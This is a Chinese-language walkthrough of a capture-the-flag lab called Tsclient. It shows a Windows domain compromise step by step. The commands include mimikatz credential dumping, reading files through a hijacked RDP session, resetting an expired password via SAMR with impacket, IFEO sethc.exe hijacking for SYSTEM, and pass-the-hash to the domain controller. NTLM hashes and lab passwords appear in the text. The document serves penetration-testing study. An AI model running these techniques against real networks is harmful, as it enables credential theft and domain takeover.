春秋云境-Tsclient

学习点

一、mstsc/RDP 反向攻击

利用 mstsc 反向攻击思路整理RDP反向攻击红蓝对抗中 RDP 协议的利用

二、远程重置过期密码

当过期密码尝试连接SMB服务时,会返回错误 STATUS_PASSWORD_MUST_CHANGE (0xC0000224),这时可以启动空会话并通过 MS-SAMR 协议上的 DCE/RPC 调用 SamrUnicodeChangePasswordUser2 函数来更改密码

红队技巧-远程重置过期密码Pretending to Be smbpasswd with impacket

三、IFEO映像劫持 提权

映像劫持的几种利用方式逆向分析微软IFEO镜像劫持从ring3到ring0的实现机理IFEO 映像文件劫持


172.22.8.18 WIN-WEB 外网 MSSQL 数据库服务器
172.22.8.31 WIN19-CLIENT.XIAORANG.LAB john 用户的 RDP 客户端电脑
172.22.8.46 WIN2016.XIAORANG.LAB Domain Admins 组中的主机
172.22.8.15 DC01.XIAORANG.LAB 域控

第一关

mssql弱口令 -> potato提权

image-20241224215901882

抓密码hash

mimikatz.exe "privilege::debug" "log" "lsadump::sam" "exit"
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit"
User : Administrator
2caf35bb4c5059a3d50599844e2b9b1f

User : John
eec9381b043f098b011be51622282027

第二关

查询当前数据库机器上的会话,存在John用户正在登录,从内网的172.22.8.31连接过来

image-20250102215350055

netbios扫描

[*] NetBios 172.22.8.15     [+] DC:XIAORANG\DC01
[*] NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] NetBios 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393

发现31为域内机器,所以想法在18机器上利用该rdp会话尝试去反制31这台机器,进程注入到john中,查看会话,反向查看31的文件

net use
dir \\tsclient\c

image-20250102223216051

拿到一个域用户账密,尝试登录域内机器31发现密码过期

xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

image-20250102224148406

通过 SamrUnicodeChangePasswordUser2 修改密码

impacket-changepasswd xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Admin@123456'

image-20250102224734206

只能通过 rdesktop 进行rdp域内机器172.22.8.46

proxychains4 rdesktop -d xiaorang.lab -u Aldrich -p Admin@123456 172.22.8.46

查询域管,发现两个域管账号,其中一个是当前46的机器账号,所以需要进行提权然后去打域控

net group "domain admins" /domain

image-20250102232754328

第三关

通过查询镜像劫持注册表项的 ACL,查看到 NT AUTHORITY\Authenticated Users 经过认证的所有用户,即任何成功登录该计算机的用户,都对该对注册表路径具有修改、创建、读取权限。

PS C:\Users\Aldrich> $acl = Get-Acl -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Optio
ns"; $acl.Access


RegistryRights : FullControl
AccessControlType : Allow
IdentityReference : CREATOR OWNER
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : InheritOnly

RegistryRights : SetValue, CreateSubKey, ReadKey
AccessControlType : Allow
IdentityReference : NT AUTHORITY\Authenticated Users
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None

RegistryRights : FullControl
AccessControlType : Allow
IdentityReference : NT AUTHORITY\SYSTEM
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None

RegistryRights : FullControl
AccessControlType : Allow
IdentityReference : BUILTIN\Administrators
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None

RegistryRights : ReadKey
AccessControlType : Allow
IdentityReference : BUILTIN\Users
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None

RegistryRights : ReadKey
AccessControlType : Allow
IdentityReference : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None

添加镜像劫持,提权至 SYSTEM:(键入五下 shift 触发粘滞键 sethc.exe,实际执行 cmd.exe)

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t reg_sz /d c:\windows\system32\cmd.exe /f

然后mimikatz 抓本地 WIN2016$ 的hash 或者在线 dcsync获取hash,再PTH域控

proxychains4 -q impacket-wmiexec -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/[email protected]